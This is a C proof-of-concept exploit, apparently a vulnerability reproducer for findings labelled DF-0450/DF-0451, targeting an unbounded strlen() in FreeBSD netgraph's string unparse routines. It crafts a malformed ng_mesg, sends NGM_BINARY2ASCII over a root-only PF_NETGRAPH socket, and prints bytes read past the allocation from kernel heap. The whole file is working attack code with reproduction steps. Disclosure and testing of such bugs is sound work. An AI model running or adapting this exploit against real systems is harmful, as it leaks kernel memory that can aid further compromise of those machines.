/* * DF-0450 / DF-0451 — netgraph ng_string_unparse / ng_fixedstring_unparse * unbounded strlen() OOB kernel heap read. * * Mechanism (root-only path via PF_NETGRAPH control socket): * 1. Send NGM_BINARY2ASCII to "." with a *crafted* inner ng_mesg whose: * - header.typecookie = NGM_GENERIC_COOKIE * - header.cmd = NGM_TEXT_STATUS (respType == &ng_parse_string_type) * - header.flags = NGF_RESP (so respType, not mesgType, is used) * - header.cmdstr = 32 × 'A' (DF-0451: fixedstring_unparse -> strlen past bufSize) * - data = N × 'B' (DF-0450: string_unparse -> strlen past arglen) * 2. ng_base.c:1562 calls ng_unparse(argstype, binary->data, ascii->data, bufSize) * where argstype = ng_parse_string_type. For the struct ng_mesg layout * (ng_parse_ng_mesg_type) the composite unparser also visits "cmdstr", * which is ng_parse_cmdbuf_type (a fixedstring of NG_CMDSTRSIZ=32). Both * ng_string_unparse (ng_parse.c:727) and ng_fixedstring_unparse * (ng_parse.c:792 -> ng_string_unparse) end up calling strlen(raw) with NO * upper bound. raw points into the user-controlled kernel allocation * (kmalloc(len+1, M_NETGRAPH) in ng_socket.c:253-254); with no NUL byte in * the field, strlen keeps scanning past the field into the trailing * uninitialized byte and adjacent kernel heap. * 3. The leaked bytes are encoded (ng_encode_string escapes non-printables) * and returned in ascii->data of the response, where the user prints them. * * Trigger requires root: PF_NETGRAPH sockets need root (ng_socket.c). This is * a root -> kernel info leak, NOT a privilege escalation. The leak IS real and * runs off the end of the user-controlled allocation into kernel heap. * * Reproduction: build, then as root: * kldload ng_socket.ko * ./ng_oob_leak */ #include #include #include #include #include #include #include #include #include #include #include #define NG_PATH "." /* the local socket node */ #define INNER_DATA_LEN 64 /* non-NUL bytes appended after the inner ng_mesg */ int main(void) { int csock = -1, dsock = -1; int rc = 1; /* Create a netgraph socket node (root only). */ if (NgMkSockNode(NULL, &csock, &dsock) < 0) { fprintf(stderr, "NgMkSockNode failed: %s\n", strerror(errno)); fprintf(stderr, "(PF_NETGRAPH sockets require root; run as root after " "'kldload ng_socket.ko')\n"); return 2; } /* * Build the inner binary ng_mesg that will be CONVERTED by NGM_BINARY2ASCII. * Layout: * struct ng_mesg header (sizeof = 56, see ng_message.h) * u_char data[INNER_DATA_LEN] -- the "args" of the inner message * * We choose NGM_TEXT_STATUS with NGF_RESP because its respType is * ng_parse_string_type, so unparse calls ng_string_unparse on data[0..]. * * Both ng_parse_ng_mesg_type (struct unparser visits "cmdstr" via * ng_parse_cmdbuf_type -> ng_fixedstring_unparse -> ng_string_unparse, * triggering DF-0451) AND the inner data string (ng_string_unparse, * triggering DF-0450) end up doing unbounded strlen(). */ size_t inner_total = sizeof(struct ng_mesg) + INNER_DATA_LEN; struct ng_mesg *inner = calloc(1, inner_total); if (!inner) { perror("calloc"); goto out; } inner->header.version = NG_VERSION; inner->header.arglen = INNER_DATA_LEN; inner->header.flags = NGF_RESP; /* pick respType */ inner->header.token = 0x41414141; inner->header.typecookie = NGM_GENERIC_COOKIE; inner->header.cmd = NGM_TEXT_STATUS; /* respType = string */ /* DF-0451: 32 non-NUL bytes in cmdstr (fixedstring NG_CMDSTRSIZ=32). */ memset(inner->header.cmdstr, 'C', NG_CMDSTRSIZ); /* DF-0450: INNER_DATA_LEN non-NUL bytes of "data". */ memset(inner->data, 'D', INNER_DATA_LEN); /* * Send NGM_BINARY2ASCII to "." -- the generic netgraph node will run the * ng_unparse path on our crafted inner message. */ if (NgSendMsg(csock, NG_PATH, NGM_GENERIC_COOKIE, NGM_BINARY2ASCII, inner, inner_total) < 0) { fprintf(stderr, "NgSendMsg(BINARY2ASCII) failed: %s\n", strerror(errno)); goto out; } /* Receive the ASCII conversion result. */ unsigned char rbuf[8192]; struct ng_mesg *resp = (struct ng_mesg *)rbuf; if (NgRecvMsg(csock, resp, sizeof(rbuf), NULL) < 0) { fprintf(stderr, "NgRecvMsg failed: %s\n", strerror(errno)); goto out; } /* resp->data is ANOTHER ng_mesg whose .data is the ASCII conversion. */ struct ng_mesg *ascii = (struct ng_mesg *)resp->data; printf("=== NGM_BINARY2ASCII response ===\n"); printf("cmd=%u cmdstr=%.32s arglen=%u flags=0x%x\n", ascii->header.cmd, ascii->header.cmdstr, ascii->header.arglen, ascii->header.flags); printf("ascii arglen=%u\n", ascii->header.arglen); printf("=== ascii->data (leaked bytes encoded) ===\n"); /* ascii->data length = ascii->header.arglen. */ fwrite(ascii->data, 1, ascii->header.arglen, stdout); putchar('\n'); /* Heuristic: if the leaked output is longer than what the inner fields * legitimately contain, OOB read happened. cmdstr should be 32 'C's * encoded as "CCCCC...CCCC" (34 chars: 32 + 2 quotes), data should be * 64 'D's encoded as "DDDD...DDDD" (66 chars). Any byte beyond that * came from kernel heap. */ size_t legit = (2 * 2) + NG_CMDSTRSIZ + INNER_DATA_LEN + 16 /* misc */; if (ascii->header.arglen > legit) { printf("\n[!] OOB READ CONFIRMED: ascii->data is %u bytes, " "legit content <= %zu bytes; %d bytes leaked from kernel heap\n", ascii->header.arglen, legit, (int)(ascii->header.arglen - legit)); printf("[!] Sample of leaked tail (last 64 bytes of ascii->data):\n "); size_t start = ascii->header.arglen > 64 ? ascii->header.arglen - 64 : 0; for (size_t i = start; i < ascii->header.arglen; i++) { unsigned char c = (unsigned char)ascii->data[i]; if (c >= 32 && c < 127) putchar(c); else printf("\\x%02x", c); } putchar('\n'); } else { printf("\n[?] ascii->data length %u did not exceed legit %zu; " "a NUL terminator stopped strlen early.\n", ascii->header.arglen, legit); } rc = 0; out: if (csock >= 0) close(csock); if (dsock >= 0) close(dsock); return rc; }